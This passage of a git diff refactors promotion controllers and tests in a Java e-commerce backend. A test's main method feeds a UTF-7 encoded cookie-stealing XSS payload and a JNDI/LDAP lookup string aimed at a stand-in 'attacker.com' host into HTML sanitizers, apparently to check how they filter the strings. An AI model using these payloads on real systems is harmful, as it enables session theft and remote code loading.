@PutMapping("/close/{id}") - public ResultMessage closeSeckill(@PathVariable String id) { - seckillService.closeSeckill(id); - return ResultUtil.success(); - } - - @ApiOperation(value = "开启一个秒杀活动") - @ApiImplicitParam(name = "id", value = "秒杀活动ID", required = true, dataType = "String", paramType = "path") - @PutMapping("/open/{id}") - public ResultMessage openSeckill(@PathVariable String id) { - seckillService.openSeckill(id); + @PutMapping("/status/{id}") + public ResultMessage updateSeckillStatus(@PathVariable String id, Long startTime, Long endTime) { + seckillService.updateStatus(Collections.singletonList(id), startTime, endTime); return ResultUtil.success(); } @ApiOperation(value = "获取秒杀活动申请列表") @GetMapping("/apply") public ResultMessage> getSeckillApply(SeckillSearchParams param, PageVO pageVo) { - IPage seckillApply = seckillApplyService.getSeckillApplyFromMongo(param, pageVo); + IPage seckillApply = seckillApplyService.getSeckillApply(param, pageVo); return ResultUtil.data(seckillApply); } diff --git a/manager-api/src/main/resources/application.yml b/manager-api/src/main/resources/application.yml index ec6937e6..09a6bd2a 100644 --- a/manager-api/src/main/resources/application.yml +++ b/manager-api/src/main/resources/application.yml @@ -131,6 +131,7 @@ ignored: - /manager/user/login - /manager/user/refresh/** - /manager/elasticsearch + - /manager/custom-words - /druid/** - /swagger-ui.html - /doc.html diff --git a/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java b/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java index 0ddd4001..672e0a44 100644 --- a/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java +++ b/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java @@ -20,7 +20,6 @@ import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.extension.ExtendWith; -import org.owasp.html.PolicyFactory; import org.owasp.html.Sanitizers; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.test.context.SpringBootTest; @@ -59,12 +58,20 @@ class EsTest { public static void main(String[] args) { - PolicyFactory policy = Sanitizers.FORMATTING.and(Sanitizers.LINKS); - String safeHTML = policy.sanitize("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-"); - System.out.println(safeHTML); - System.out.println(Sanitizers.FORMATTING.and(Sanitizers.FORMATTING).sanitize("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-")); - System.out.println(HtmlUtil.unescape(safeHTML)); - System.out.println(HtmlUtil.filter("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-")); +// PolicyFactory policy = Sanitizers.FORMATTING.and(Sanitizers.LINKS); +// String safeHTML = policy.sanitize("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-"); +// System.out.println(safeHTML); +// System.out.println(Sanitizers.FORMATTING.and(Sanitizers.FORMATTING).sanitize("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-")); +// System.out.println(HtmlUtil.unescape(safeHTML)); +// System.out.println(HtmlUtil.filter("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-")); +// Date dt1 = new Date(2017, 3, 31); +// Date dt2 = new Date(2017, 5, 14)Z +// System.out.println(dt2.after(dt1)); + String filter = HtmlUtil.filter("${jndi:ldap://attacker.com/a}"); + String sanitize = Sanitizers.FORMATTING.and(Sanitizers.LINKS).sanitize("${jndi:ldap://attacker.com/a}"); + System.out.println(filter); + System.out.println(sanitize); + } @Test diff --git a/manager-api/src/test/java/cn/lili/test/promotion/CouponTest.java b/manager-api/src/test/java/cn/lili/test/promotion/CouponTest.java index 5f40fd62..2bf84c3e 100644 --- a/manager-api/src/test/java/cn/lili/test/promotion/CouponTest.java +++ b/manager-api/src/test/java/cn/lili/test/promotion/CouponTest.java @@ -1,13 +1,15 @@ package cn.lili.test.promotion; import cn.lili.common.enums.PromotionTypeEnum; -import cn.lili.common.vo.PageVO; import cn.lili.common.properties.RocketmqCustomProperties; +import cn.lili.common.vo.PageVO; import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.promotion.entity.dos.Coupon; import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.enums.*; +import cn.lili.modules.promotion.entity.enums.CouponGetEnum; +import cn.lili.modules.promotion.entity.enums.CouponTypeEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; import cn.lili.modules.promotion.entity.vos.CouponSearchParams; import cn.lili.modules.promotion.entity.vos.CouponVO; import cn.lili.modules.promotion.service.CouponService; @@ -50,7 +52,6 @@ class CouponTest { couponVO.setCouponType(CouponTypeEnum.DISCOUNT.name()); couponVO.setDescription(couponVO.getCouponName() + " are expensive"); couponVO.setGetType(CouponGetEnum.FREE.name()); - couponVO.setPromotionStatus(PromotionStatusEnum.NEW.name()); // couponVO.setStoreId("0"); // couponVO.setStoreName("platform"); couponVO.setStoreId("131"); @@ -61,7 +62,7 @@ class CouponTest { // couponVO.setPrice(200D); couponVO.setCouponDiscount(0.1D); - couponVO.setScopeType(CouponScopeTypeEnum.PORTION_GOODS.name()); + couponVO.setScopeType(PromotionsScopeTypeEnum.PORTION_GOODS.name()); couponVO.setScopeId("121"); couponVO.setStartTime(cn.hutool.core.date.DateUtil.parse("2020-11-30 15:58:00")); couponVO.setEndTime(cn.hutool.core.date.DateUtil.parse("2020-12-30 23:50:00")); @@ -82,7 +83,6 @@ class CouponTest { promotionGoods.setTitle(couponVO.getPromotionName()); promotionGoods.setPromotionId(couponVO.getId()); promotionGoods.setQuantity(1000); - promotionGoods.setPromotionStatus(couponVO.getPromotionStatus()); promotionGoods.setPromotionType(PromotionTypeEnum.COUPON.name()); promotionGoodsList.add(promotionGoods); // @@ -99,7 +99,7 @@ class CouponTest { // promotionGoodsList.add(promotionGoods); // couponVO.setPromotionGoodsList(promotionGoodsList); - Assertions.assertNotNull(couponService.add(couponVO)); + Assertions.assertNotNull(couponService.savePromotions(couponVO)); } @Test @@ -110,7 +110,6 @@ class CouponTest { couponVO.setCouponType(CouponTypeEnum.DISCOUNT.name()); couponVO.setDescription(couponVO.getId() + " is expensive"); couponVO.setGetType(CouponGetEnum.FREE.name()); - couponVO.setPromotionStatus(PromotionStatusEnum.START.name()); couponVO.setStoreId("132"); couponVO.setStoreName("联想自营旗舰店"); couponVO.setStoreCommission(99.99D); @@ -119,7 +118,7 @@ class CouponTest { couponVO.setCouponDiscount(10D); couponVO.setPrice(0D); - couponVO.setScopeType(CouponScopeTypeEnum.PORTION_GOODS.name()); + couponVO.setScopeType(PromotionsScopeTypeEnum.PORTION_GOODS.name()); couponVO.setScopeId("134,133"); couponVO.setStartTime(cn.hutool.core.date.DateUtil.parse("2020-11-10 17:01:00")); couponVO.setEndTime(cn.hutool.core.date.DateUtil.parse("2020-11-10 17:10:00")); @@ -144,7 +143,6 @@ class CouponTest { promotionGoods.setStartTime(couponVO.getStartTime()); promotionGoods.setEndTime(couponVO.getEndTime()); promotionGoods.setTitle(couponVO.getPromotionName()); - promotionGoods.setPromotionStatus(couponVO.getPromotionStatus()); promotionGoodsList.add(promotionGoods); promotionGoods = new PromotionGoods(); @@ -160,11 +158,10 @@ class CouponTest { promotionGoods.setStartTime(couponVO.getStartTime()); promotionGoods.setEndTime(couponVO.getEndTime()); promotionGoods.setTitle(couponVO.getPromotionName()); - promotionGoods.setPromotionStatus(couponVO.getPromotionStatus()); promotionGoodsList.add(promotionGoods); couponVO.setPromotionGoodsList(promotionGoodsList); - Assertions.assertNotNull(couponService.updateCoupon(couponVO)); + Assertions.assertNotNull(couponService.updatePromotions(couponVO)); } @Test @@ -174,23 +171,11 @@ class CouponTest { PageVO pageVo = new PageVO(); pageVo.setPageNumber(0); pageVo.setPageSize(10); - IPage couponsByPageFromMongo = couponService.getCouponsByPageFromMongo(queryParam, pageVo); + IPage couponsByPageFromMongo = couponService.pageFindAll(queryParam, pageVo); Assertions.assertNotNull(couponsByPageFromMongo); couponsByPageFromMongo.getRecords().forEach(System.out::println); } - @Test - void searchFromMysql() { - CouponSearchParams queryParam = new CouponSearchParams(); - - PageVO pageVo = new PageVO(); - pageVo.setPageNumber(0); - pageVo.setPageSize(10); - IPage coupons = couponService.getCouponsByPage(queryParam, pageVo); - Assertions.assertNotNull(coupons); - coupons.getRecords().forEach(System.out::println); - } - @Test void delete() { // Assertions.assertTrue(couponService.deleteCoupon("1326001296591577088")); diff --git a/manager-api/src/test/java/cn/lili/test/promotion/FullDiscountTest.java b/manager-api/src/test/java/cn/lili/test/promotion/FullDiscountTest.java index 174f0a5b..7b64897f 100644 --- a/manager-api/src/test/java/cn/lili/test/promotion/FullDiscountTest.java +++ b/manager-api/src/test/java/cn/lili/test/promotion/FullDiscountTest.java @@ -1,17 +1,15 @@ package cn.lili.test.promotion; import cn.hutool.core.util.RandomUtil; -import cn.hutool.json.JSONUtil; +import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.vo.PageVO; import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.goods.service.GoodsSkuService; +import cn.lili.modules.order.cart.entity.vo.FullDiscountVO; import cn.lili.modules.promotion.entity.dos.FullDiscount; import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; -import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.modules.promotion.entity.vos.FullDiscountSearchParams; import cn.lili.modules.promotion.service.FullDiscountService; -import cn.lili.modules.order.cart.entity.vo.FullDiscountVO; import com.baomidou.mybatisplus.core.metadata.IPage; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; @@ -21,6 +19,7 @@ import org.springframework.boot.test.context.SpringBootTest; import org.springframework.test.context.junit.jupiter.SpringExtension; import java.util.ArrayList; +import java.util.Collections; import java.util.List; /** @@ -46,7 +45,6 @@ class FullDiscountTest { fullDiscountVO.setIsFullMinus(true); fullDiscountVO.setFullMoney(130D); fullDiscountVO.setFullMinus(100D); - fullDiscountVO.setPromotionStatus(PromotionStatusEnum.NEW.name()); fullDiscountVO.setIsFreeFreight(true); fullDiscountVO.setPromotionName("FullDiscount-" + fullDiscountVO.getId()); @@ -64,13 +62,12 @@ class FullDiscountTest { promotionGoods.setNum(10); promotionGoods.setQuantity(100); promotionGoods.setPromotionId(fullDiscountVO.getId()); - promotionGoods.setPromotionStatus(PromotionStatusEnum.NEW.name()); promotionGoods.setPromotionType(PromotionTypeEnum.FULL_DISCOUNT.name()); promotionGoods.setTitle("满" + fullDiscountVO.getFullMoney() + "减" + fullDiscountVO.getFullMinus()); promotionGoodsLis.add(promotionGoods); fullDiscountVO.setPromotionGoodsList(promotionGoodsLis); - Assertions.assertNotNull(fullDiscountService.addFullDiscount(fullDiscountVO)); + Assertions.assertTrue(fullDiscountService.savePromotions(fullDiscountVO)); } @Test @@ -82,12 +79,9 @@ class FullDiscountTest { pageVo.setSort("startTime"); pageVo.setOrder("asc"); - IPage fullDiscountByPageFromMongo = fullDiscountService.getFullDiscountByPageFromMongo(new FullDiscountSearchParams(), null); + IPage fullDiscountByPageFromMongo = fullDiscountService.pageFindAll(new FullDiscountSearchParams(), null); Assertions.assertNotNull(fullDiscountByPageFromMongo); - FullDiscount fullDiscount = JSONUtil.toBean(JSONUtil.parseObj(fullDiscountByPageFromMongo.getPages()), FullDiscount.class); - System.out.println(fullDiscount); -// fullDiscountByPageFromMongo.forEach(System.out::println); } @Test @@ -100,7 +94,6 @@ class FullDiscountTest { fullDiscountVO.setIsFullMinus(true); fullDiscountVO.setFullMoney(100D); fullDiscountVO.setFullMinus(80D); - fullDiscountVO.setPromotionStatus(PromotionStatusEnum.NEW.name()); fullDiscountVO.setIsFreeFreight(true); fullDiscountVO.setPromotionName("FullDiscount-" + fullDiscountVO.getId()); @@ -111,7 +104,6 @@ class FullDiscountTest { List promotionGoodsLis = new ArrayList<>(); PromotionGoods promotionGoods = new PromotionGoods(); promotionGoods.setSkuId("134"); - promotionGoods.setPromotionStatus(PromotionStatusEnum.NEW.name()); promotionGoods.setPrice(18000D); promotionGoods.setStartTime(fullDiscountVO.getStartTime()); promotionGoods.setEndTime(fullDiscountVO.getEndTime()); @@ -124,12 +116,12 @@ class FullDiscountTest { promotionGoods.setStoreId("132"); promotionGoodsLis.add(promotionGoods); fullDiscountVO.setPromotionGoodsList(promotionGoodsLis); - Assertions.assertNotNull(fullDiscountService.modifyFullDiscount(fullDiscountVO)); + Assertions.assertTrue(fullDiscountService.updatePromotions(fullDiscountVO)); } @Test void delete() { - Assertions.assertTrue(fullDiscountService.deleteFullDiscount("1325995092947525632")); + Assertions.assertTrue(fullDiscountService.removePromotions(Collections.singletonList("1325995092947525632"))); } diff --git a/manager-api/src/test/java/cn/lili/test/promotion/PromotionPriceTest.java b/manager-api/src/test/java/cn/lili/test/promotion/PromotionPriceTest.java index 0eda72ad..513a1f4a 100644 --- a/manager-api/src/test/java/cn/lili/test/promotion/PromotionPriceTest.java +++ b/manager-api/src/test/java/cn/lili/test/promotion/PromotionPriceTest.java @@ -1,15 +1,8 @@ package cn.lili.test.promotion; -import cn.hutool.json.JSONUtil; -import cn.lili.common.enums.PromotionTypeEnum; -import cn.lili.common.enums.ResultUtil; -import cn.lili.common.vo.PageVO; -import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.promotion.entity.dto.BasePromotion; -import cn.lili.modules.promotion.entity.dto.PromotionGoodsDTO; +import cn.lili.modules.promotion.entity.dto.BasePromotions; import cn.lili.modules.promotion.service.PromotionGoodsService; import cn.lili.modules.promotion.service.PromotionService; -import com.baomidou.mybatisplus.core.metadata.IPage; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.extension.ExtendWith; @@ -37,20 +30,10 @@ class PromotionPriceTest { void testSeckillPrice() { Map currentPromotion = promotionService.getCurrentPromotion(); for (Map.Entry entry : currentPromotion.entrySet()) { - BasePromotion promotion = (BasePromotion) entry.getValue(); + BasePromotions promotion = (BasePromotions) entry.getValue(); System.out.println(entry.getKey() + "-" + promotion.getId()); } Assertions.assertTrue(true); } - @Test - void testSeckillPrice1() { - IPage promotionGoods = promotionGoodsServiceService.getCurrentPromotionGoods(PromotionTypeEnum.FULL_DISCOUNT.name(), new PageVO()); - - ResultMessage> data = ResultUtil.data(promotionGoods); - String s = JSONUtil.toJsonStr(data); - System.out.println(s); - Assertions.assertTrue(true); - } - } diff --git a/manager-api/src/test/java/cn/lili/test/promotion/SeckillTest.java b/manager-api/src/test/java/cn/lili/test/promotion/SeckillTest.java index f6ab823c..27788a5b 100644 --- a/manager-api/src/test/java/cn/lili/test/promotion/SeckillTest.java +++ b/manager-api/src/test/java/cn/lili/test/promotion/SeckillTest.java @@ -1,7 +1,7 @@ package cn.lili.test.promotion; import cn.lili.modules.member.service.MemberService; -import cn.lili.modules.promotion.entity.enums.PromotionApplyStatusEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsApplyStatusEnum; import cn.lili.modules.promotion.entity.vos.SeckillApplyVO; import cn.lili.modules.promotion.service.SeckillApplyService; import cn.lili.modules.promotion.service.SeckillService; @@ -60,7 +60,7 @@ class SeckillTest { seckillApplyVO.setSkuId("1387977574860193792"); seckillApplyVO.setOriginalPrice(4000D); seckillApplyVO.setPrice(3600D); - seckillApplyVO.setPromotionApplyStatus(PromotionApplyStatusEnum.APPLY.name()); + seckillApplyVO.setPromotionApplyStatus(PromotionsApplyStatusEnum.APPLY.name()); seckillApplyVO.setQuantity(1); seckillApplyVO.setSalesNum(0); seckillApplyVO.setSeckillId("10000"); @@ -73,7 +73,7 @@ class SeckillTest { seckillApplyVO.setSkuId("1387977574864388096"); seckillApplyVO.setOriginalPrice(4000D); seckillApplyVO.setPrice(3600D); - seckillApplyVO.setPromotionApplyStatus(PromotionApplyStatusEnum.APPLY.name()); + seckillApplyVO.setPromotionApplyStatus(PromotionsApplyStatusEnum.APPLY.name()); seckillApplyVO.setQuantity(1); seckillApplyVO.setSalesNum(0); seckillApplyVO.setSeckillId("10000"); diff --git a/seller-api/src/main/java/cn/lili/controller/promotion/CouponStoreController.java b/seller-api/src/main/java/cn/lili/controller/promotion/CouponStoreController.java index 9e03b6e5..adc95395 100644 --- a/seller-api/src/main/java/cn/lili/controller/promotion/CouponStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/promotion/CouponStoreController.java @@ -8,7 +8,6 @@ import cn.lili.common.security.context.UserContext; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.promotion.entity.dos.Coupon; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; import cn.lili.modules.promotion.entity.vos.CouponSearchParams; import cn.lili.modules.promotion.entity.vos.CouponVO; import cn.lili.modules.promotion.service.CouponService; @@ -45,14 +44,14 @@ public class CouponStoreController { page.setNotConvert(true); String storeId = Objects.requireNonNull(UserContext.getCurrentUser()).getStoreId(); queryParam.setStoreId(storeId); - IPage coupons = couponService.getCouponsByPageFromMongo(queryParam, page); + IPage coupons = couponService.pageVOFindAll(queryParam, page); return ResultUtil.data(coupons); } @ApiOperation(value = "获取优惠券详情") @GetMapping("/{couponId}") public ResultMessage getCouponList(@PathVariable String couponId) { - CouponVO coupon = OperationalJudgment.judgment(couponService.getCouponDetailFromMongo(couponId)); + CouponVO coupon = OperationalJudgment.judgment(couponService.getDetail(couponId)); return ResultUtil.data(coupon); } @@ -62,20 +61,23 @@ public class CouponStoreController { AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); couponVO.setStoreId(currentUser.getStoreId()); couponVO.setStoreName(currentUser.getStoreName()); - couponService.add(couponVO); - return ResultUtil.data(couponVO); + if (couponService.savePromotions(couponVO)) { + return ResultUtil.data(couponVO); + } + return ResultUtil.error(ResultCode.COUPON_SAVE_ERROR); } @PutMapping(consumes = "application/json", produces = "application/json") @ApiOperation(value = "修改优惠券") public ResultMessage updateCoupon(@RequestBody CouponVO couponVO) { - OperationalJudgment.judgment(couponService.getCouponDetailFromMongo(couponVO.getId())); + OperationalJudgment.judgment(couponService.getById(couponVO.getId())); AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); couponVO.setStoreId(currentUser.getStoreId()); couponVO.setStoreName(currentUser.getStoreName()); - couponVO.setPromotionStatus(PromotionStatusEnum.NEW.name()); - CouponVO coupon = couponService.updateCoupon(couponVO); - return ResultUtil.data(coupon); + if (couponService.updatePromotions(couponVO)) { + return ResultUtil.data(couponVO); + } + return ResultUtil.error(ResultCode.COUPON_SAVE_ERROR); } @DeleteMapping(value = "/{ids}") @@ -87,19 +89,16 @@ public class CouponStoreController { queryWrapper.eq(Coupon::getStoreId, storeId); List list = couponService.list(queryWrapper); List filterIds = list.stream().map(Coupon::getId).collect(Collectors.toList()); - for (String id : filterIds) { - couponService.deleteCoupon(id); - } - return ResultUtil.success(); + return couponService.removePromotions(filterIds) ? ResultUtil.success() : ResultUtil.error(ResultCode.COUPON_DELETE_ERROR); } @ApiOperation(value = "修改优惠券状态") @PutMapping("/status") - public ResultMessage updateCouponStatus(String couponIds, String promotionStatus) { + public ResultMessage updateCouponStatus(String couponIds, Long startTime, Long endTime) { AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); String[] split = couponIds.split(","); List couponIdList = couponService.list(new LambdaQueryWrapper().in(Coupon::getId, Arrays.asList(split)).eq(Coupon::getStoreId, currentUser.getStoreId())).stream().map(Coupon::getId).collect(Collectors.toList()); - if (couponService.updateCouponStatus(couponIdList, PromotionStatusEnum.valueOf(promotionStatus))) { + if (couponService.updateStatus(couponIdList, startTime, endTime)) { return ResultUtil.success(ResultCode.COUPON_EDIT_STATUS_SUCCESS); } throw new ServiceException(ResultCode.COUPON_EDIT_STATUS_ERROR); diff --git a/seller-api/src/main/java/cn/lili/controller/promotion/FullDiscountStoreController.java b/seller-api/src/main/java/cn/lili/controller/promotion/FullDiscountStoreController.java index 87a53b77..634024e7 100644 --- a/seller-api/src/main/java/cn/lili/controller/promotion/FullDiscountStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/promotion/FullDiscountStoreController.java @@ -8,7 +8,6 @@ import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.order.cart.entity.vo.FullDiscountVO; import cn.lili.modules.promotion.entity.dos.FullDiscount; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; import cn.lili.modules.promotion.entity.vos.FullDiscountSearchParams; import cn.lili.modules.promotion.service.FullDiscountService; import cn.lili.modules.system.utils.OperationalJudgment; @@ -20,6 +19,7 @@ import io.swagger.annotations.ApiOperation; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.*; +import java.util.Collections; import java.util.Objects; /** @@ -42,9 +42,10 @@ public class FullDiscountStoreController { AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); fullDiscountVO.setStoreId(currentUser.getStoreId()); fullDiscountVO.setStoreName(currentUser.getStoreName()); - fullDiscountVO.setPromotionStatus(PromotionStatusEnum.NEW.name()); - FullDiscount fullDiscount = fullDiscountService.addFullDiscount(fullDiscountVO); - return ResultUtil.data(fullDiscount); + if (!fullDiscountService.savePromotions(fullDiscountVO)) { + return ResultUtil.error(ResultCode.PINTUAN_ADD_ERROR); + } + return ResultUtil.data(fullDiscountVO); } @ApiOperation(value = "通过id获取") @@ -56,10 +57,10 @@ public class FullDiscountStoreController { @ApiOperation(value = "根据条件分页查询满优惠活动") @GetMapping - public ResultMessage> getFullDiscountByPage(FullDiscountSearchParams searchParams, PageVO page) { + public ResultMessage> getFullDiscountByPage(FullDiscountSearchParams searchParams, PageVO page) { String storeId = Objects.requireNonNull(UserContext.getCurrentUser()).getStoreId(); searchParams.setStoreId(storeId); - IPage fullDiscountByPage = fullDiscountService.getFullDiscountByPageFromMongo(searchParams, page); + IPage fullDiscountByPage = fullDiscountService.pageFindAll(searchParams, page); return ResultUtil.data(fullDiscountByPage); } @@ -70,15 +71,17 @@ public class FullDiscountStoreController { AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); fullDiscountVO.setStoreId(currentUser.getStoreId()); fullDiscountVO.setStoreName(currentUser.getStoreName()); - fullDiscountService.modifyFullDiscount(fullDiscountVO); + if (!fullDiscountService.updatePromotions(fullDiscountVO)) { + return ResultUtil.error(ResultCode.PINTUAN_EDIT_ERROR); + } return ResultUtil.success(ResultCode.FULL_DISCOUNT_EDIT_SUCCESS); } @ApiOperation(value = "删除满优惠活动") @DeleteMapping("/{id}") public ResultMessage deleteFullDiscount(@PathVariable String id) { - OperationalJudgment.judgment(fullDiscountService.getFullDiscount(id)); - fullDiscountService.deleteFullDiscount(id); + OperationalJudgment.judgment(fullDiscountService.getById(id)); + fullDiscountService.removePromotions(Collections.singletonList(id)); return ResultUtil.success(ResultCode.FULL_DISCOUNT_EDIT_DELETE); } @@ -88,10 +91,10 @@ public class FullDiscountStoreController { @ApiImplicitParam(name = "id", value = "满额活动ID", required = true, paramType = "path"), @ApiImplicitParam(name = "promotionStatus", value = "满额活动状态", required = true, paramType = "path") }) - @PutMapping("/status/{id}/{promotionStatus}") - public ResultMessage updateCouponStatus(@PathVariable String id, @PathVariable String promotionStatus) { + @PutMapping("/status/{id}") + public ResultMessage updateCouponStatus(@PathVariable String id, Long startTime, Long endTime) { OperationalJudgment.judgment(fullDiscountService.getFullDiscount(id)); - if (fullDiscountService.updateFullDiscountStatus(id, PromotionStatusEnum.valueOf(promotionStatus))) { + if (fullDiscountService.updateStatus(Collections.singletonList(id), startTime, endTime)) { return ResultUtil.success(ResultCode.SUCCESS); } return ResultUtil.error(ResultCode.ERROR); diff --git a/seller-api/src/main/java/cn/lili/controller/promotion/PintuanStoreController.java b/seller-api/src/main/java/cn/lili/controller/promotion/PintuanStoreController.java index db489640..0f3fd20a 100644 --- a/seller-api/src/main/java/cn/lili/controller/promotion/PintuanStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/promotion/PintuanStoreController.java @@ -8,7 +8,8 @@ import cn.lili.common.security.AuthUser; import cn.lili.common.security.context.UserContext; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.promotion.entity.dto.PromotionGoodsDTO; +import cn.lili.modules.promotion.entity.dos.Pintuan; +import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.promotion.entity.vos.PintuanSearchParams; import cn.lili.modules.promotion.entity.vos.PintuanVO; import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; @@ -22,7 +23,7 @@ import org.springframework.beans.factory.annotation.Autowired; import org.springframework.validation.annotation.Validated; import org.springframework.web.bind.annotation.*; -import java.util.Date; +import java.util.Collections; import java.util.Objects; /** @@ -44,30 +45,28 @@ public class PintuanStoreController { @GetMapping @ApiOperation(value = "根据条件分页查询拼团活动列表") - public ResultMessage> getPintuanByPage(PintuanSearchParams queryParam, PageVO pageVo) { + public ResultMessage> getPintuanByPage(PintuanSearchParams queryParam, PageVO pageVo) { AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); queryParam.setStoreId(currentUser.getStoreId()); - IPage pintuanByPageFromMongo = pintuanService.getPintuanByPageFromMongo(queryParam, pageVo); - return ResultUtil.data(pintuanByPageFromMongo); + return ResultUtil.data(pintuanService.pageFindAll(queryParam, pageVo)); } @GetMapping(value = "/{id}") @ApiOperation(value = "通过id获取") public ResultMessage get(@PathVariable String id) { - PintuanVO pintuan = OperationalJudgment.judgment(pintuanService.getPintuanByIdFromMongo(id)); + PintuanVO pintuan = OperationalJudgment.judgment(pintuanService.getPintuanVO(id)); return ResultUtil.data(pintuan); } @GetMapping("/goods/{pintuanId}") @ApiOperation(value = "根据条件分页查询拼团活动商品列表") - public ResultMessage> getPintuanGoodsByPage(@PathVariable String pintuanId, PageVO pageVo) { + public ResultMessage> getPintuanGoodsByPage(@PathVariable String pintuanId, PageVO pageVo) { AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); searchParams.setStoreId(currentUser.getStoreId()); searchParams.setPromotionId(pintuanId); searchParams.setPromotionType(PromotionTypeEnum.PINTUAN.name()); - IPage promotionGoods = promotionGoodsService.getPromotionGoods(searchParams, pageVo); - return ResultUtil.data(promotionGoods); + return ResultUtil.data(promotionGoodsService.pageFindAll(searchParams, pageVo)); } @PostMapping(consumes = "application/json", produces = "application/json") @@ -76,7 +75,7 @@ public class PintuanStoreController { AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); pintuan.setStoreId(currentUser.getStoreId()); pintuan.setStoreName(currentUser.getStoreName()); - if (pintuanService.addPintuan(pintuan)) { + if (pintuanService.savePromotions(pintuan)) { return ResultUtil.success(ResultCode.PINTUAN_ADD_SUCCESS); } throw new ServiceException(ResultCode.PINTUAN_ADD_ERROR); @@ -85,42 +84,32 @@ public class PintuanStoreController { @PutMapping(consumes = "application/json", produces = "application/json") @ApiOperation(value = "修改拼团活动") public ResultMessage editPintuan(@RequestBody @Validated PintuanVO pintuan) { - OperationalJudgment.judgment(pintuanService.getPintuanByIdFromMongo(pintuan.getId())); + OperationalJudgment.judgment(pintuanService.getById(pintuan.getId())); AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); pintuan.setStoreId(currentUser.getStoreId()); pintuan.setStoreName(currentUser.getStoreName()); - if (pintuanService.modifyPintuan(pintuan)) { + if (pintuanService.updatePromotions(pintuan)) { return ResultUtil.success(ResultCode.PINTUAN_EDIT_SUCCESS); } throw new ServiceException(ResultCode.PINTUAN_EDIT_ERROR); } - @PutMapping("/open/{pintuanId}") - @ApiOperation(value = "手动开启拼团活动") + @PutMapping("/status/{pintuanId}") + @ApiOperation(value = "操作拼团活动状态") public ResultMessage openPintuan(@PathVariable String pintuanId, Long startTime, Long endTime) { - OperationalJudgment.judgment(pintuanService.getPintuanByIdFromMongo(pintuanId)); - if (pintuanService.openPintuan(pintuanId, new Date(startTime), new Date(endTime))) { + OperationalJudgment.judgment(pintuanService.getById(pintuanId)); + if (pintuanService.updateStatus(Collections.singletonList(pintuanId), startTime, endTime)) { return ResultUtil.success(ResultCode.PINTUAN_MANUAL_OPEN_SUCCESS); } throw new ServiceException(ResultCode.PINTUAN_MANUAL_OPEN_ERROR); } - @PutMapping("/close/{pintuanId}") - @ApiOperation(value = "手动关闭拼团活动") - public ResultMessage closePintuan(@PathVariable String pintuanId) { - OperationalJudgment.judgment(pintuanService.getPintuanByIdFromMongo(pintuanId)); - if (pintuanService.closePintuan(pintuanId)) { - return ResultUtil.success(ResultCode.PINTUAN_MANUAL_CLOSE_SUCCESS); - } - throw new ServiceException(ResultCode.PINTUAN_MANUAL_CLOSE_ERROR); - } - @DeleteMapping("/{pintuanId}") @ApiOperation(value = "手动删除拼团活动") public ResultMessage deletePintuan(@PathVariable String pintuanId) { - OperationalJudgment.judgment(pintuanService.getPintuanByIdFromMongo(pintuanId)); - if (pintuanService.deletePintuan(pintuanId)) { + OperationalJudgment.judgment(pintuanService.getById(pintuanId)); + if (pintuanService.removePromotions(Collections.singletonList(pintuanId))) { return ResultUtil.success(ResultCode.PINTUAN_DELETE_SUCCESS); } throw new ServiceException(ResultCode.PINTUAN_DELETE_ERROR); diff --git a/seller-api/src/main/java/cn/lili/controller/promotion/SeckillStoreController.java b/seller-api/src/main/java/cn/lili/controller/promotion/SeckillStoreController.java index 9b29e982..935fa2f0 100644 --- a/seller-api/src/main/java/cn/lili/controller/promotion/SeckillStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/promotion/SeckillStoreController.java @@ -8,7 +8,6 @@ import cn.lili.modules.promotion.entity.dos.Seckill; import 